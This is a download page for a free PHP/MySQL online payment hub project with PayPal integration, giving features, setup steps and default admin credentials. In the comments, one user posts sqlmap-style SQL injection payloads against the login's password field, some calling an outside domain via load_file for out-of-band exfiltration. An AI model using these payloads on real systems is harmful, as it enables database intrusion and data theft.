Online Payment Hub using PHP and PayPal Free Source Code

Language

Introduction

This is an Online Payment Hub in PHP and MySQL Database. This project is a simple PHP Project that provides an online platform for individuals to pay their bills, loans, or etc. This is a web-based application integrated with PayPal as the payment gateway. This has a simple dark mode user interface and user-friendly functionalities.

About the Online Payment Hub

I developed this project using the following:

  • XAMPP v3.3.0 as my local webserver that has a PHP Version 8.0.7
  • PHP Language
  • MySQL Database
  • HTML
  • CSS
  • JavaScript
  • jQuery
  • Ajax
  • Bootstrap
  • AdminLTE
  • PayPal Object
  • and some other plugins/libraries.

This Online Payment Hub project has 2 modules which are the Admin and Clients. The Admin module is the side of the system in which the business management can manage all the important lists and records in the system such as the list of partner companies and clients' transaction records. The Client Module is the side of the system for the public where can users can register their own account, pay bills, and list their payment transaction records. This system also generates a date-wise printable transaction report at the admin side.

Features

Admin Side

  • Secure Login and Logout
  • Manage Company List (CRUD)
  • Manage Service Fee Table (CRUD)
  • View Client List
  • Delete Client from List
  • View Client Details
  • View Transaction List
  • Delete Transaction from List
  • View Transaction Details
  • Generate Printable Date-wise Transaction Report
  • Manage Users list (CRUD)
  • Manage Account Details/Credentials
  • Manage System Information

Client-Side

  • Secure Login and Registration
  • Home Page
    • Display Welcome Message
    • Display List of Partners
  • List All Payment Transactions Made
  • Pay Bills, loans, or etc.
  • Update Account Information/Credentials
  • Read About Us Content
  • Logout

System Snapshots of some Features

Default Website Page

Online Payment Hub

Client's Transaction List Page

Online Payment Hub

Transaction Form Modal Step 1

Online Payment Hub

Transaction Form Modal Step 2

Online Payment Hub

Transaction Details Modal

Online Payment Hub

Admin Panel

Online Payment Hub

Transaction Report Page (Admin Side Only)

Online Payment Hub

How to Run ??

Requirements

  • Download and Install any local web server such as XAMPP/WAMP.
  • Download the provided source code zip file. (download button is located below)

Installation/Setup

  1. Open your XAMPP/WAMP's Control Panel and start Apache and MySQL.
  2. Extract the downloaded source code zip file.
  3. If you are using XAMPP, copy the extracted source code folder and paste it into the XAMPP's "htdocs" directory. And If you are using WAMP, paste it into the "www" directory.
  4. Browse the PHPMyAdmin in a browser. i.e. http://localhost/phpmyadmin
  5. Create a new database naming oph_db.
  6. Import the provided SQL file. The file is known as oph_db.sql located inside the database folder.
  7. Browse the Online Payment Hub in a browser. i.e. http://localhost/oph/ for the users side and http://localhost/oph/admin for the admin side.

Default Admin Access Information

Username: admin
Password: admin123

DEMO VIDEO

That's it. You can now explore the features and functionalities of this Online Payment Hub in PHP. I hope this project will help you with what you are looking for and you'll find something useful for your future projects.

Explore more on this website for more Free Source Codes and Tutorials.

Enjoy :)

Note: Due to the size or complexity of this submission, the author has submitted it as a .zip file to shorten your download time. After downloading it, you will need a program like Winzip to decompress it.

Virus note: All files are scanned once-a-day by SourceCodester.com for viruses, but new viruses come out every day, so no prevention program can catch 100% of them.

FOR YOUR OWN SAFETY, PLEASE:

1. Re-scan downloaded files using your personal virus checker before using it.
2. NEVER, EVER run compiled files (.exe's, .ocx's, .dll's etc.)--only run source code.

Comments

Submitted byAlmher Khan (not verified)on Wed, 09/28/2022 - 14:08

i can't access the admin panel because the default admin access information didn't match
Submitted bykur3b@4 (not verified)on Wed, 10/05/2022 - 15:20

Why are you doing this stupid thing, dear fake developer?
  1. Parameter: password (POST)
  2. Type: boolean-based blind
  3. Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
  4. Payload: [email protected]&password=r9V!s6m!D9'+(select load_file('\\\\93ax4q048qx8c84njjmvoh0owf28q1eshg930rp.oretnom23stupid.com\\svt'))+'') OR NOT 2081=2081 AND ('VtmV'='VtmV
  5.  
  6. Type: error-based
  7. Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  8. Payload: [email protected]&password=r9V!s6m!D9'+(select load_file('\\\\93ax4q048qx8c84njjmvoh0owf28q1eshg930rp.oretnom23stupid.com\\svt'))+'') AND (SELECT 1814 FROM(SELECT COUNT(*),CONCAT(0x716b766b71,(SELECT (ELT(1814=1814,1))),0x717a626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('YkEy'='YkEy
  9.  
  10. Type: time-based blind
  11. Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  12. Payload: [email protected]&password=r9V!s6m!D9'+(select load_file('\\\\93ax4q048qx8c84njjmvoh0owf28q1eshg930rp.oretnom23stupid.com\\svt'))+'') AND (SELECT 4290 FROM (SELECT(SLEEP(17)))xyNq) AND ('QAcA'='QAcA
Submitted bykur3b@4 (not verified)on Wed, 10/05/2022 - 15:22

Parameter: password (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: [email protected]&password=r9V!s6m!D9'+(select load_file('\\\\93ax4q048qx8c84njjmvoh0owf28q1eshg930rp.oretnom23stupid.com\\svt'))+'') OR NOT 2081=2081 AND ('VtmV'='VtmV Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: [email protected]&password=r9V!s6m!D9'+(select load_file('\\\\93ax4q048qx8c84njjmvoh0owf28q1eshg930rp.oretnom23stupid.com\\svt'))+'') AND (SELECT 1814 FROM(SELECT COUNT(*),CONCAT(0x716b766b71,(SELECT (ELT(1814=1814,1))),0x717a626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('YkEy'='YkEy Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: [email protected]&password=r9V!s6m!D9'+(select load_file('\\\\93ax4q048qx8c84njjmvoh0owf28q1eshg930rp.oretnom23stupid.com\\svt'))+'') AND (SELECT 4290 FROM (SELECT(SLEEP(17)))xyNq) AND ('QAcA'='QAcA
Submitted byLonmar (not verified)on Thu, 10/20/2022 - 05:13

@Carlo Montero (oretnom23), why do you publish a payment Hub using deprecated PayPal code?
Submitted byBarnes (not verified)on Sat, 11/19/2022 - 20:28

Someone cannot pay using payal or card details, You created the Api without the login details to it or any testing card to use. Why and can we have it?

Add new comment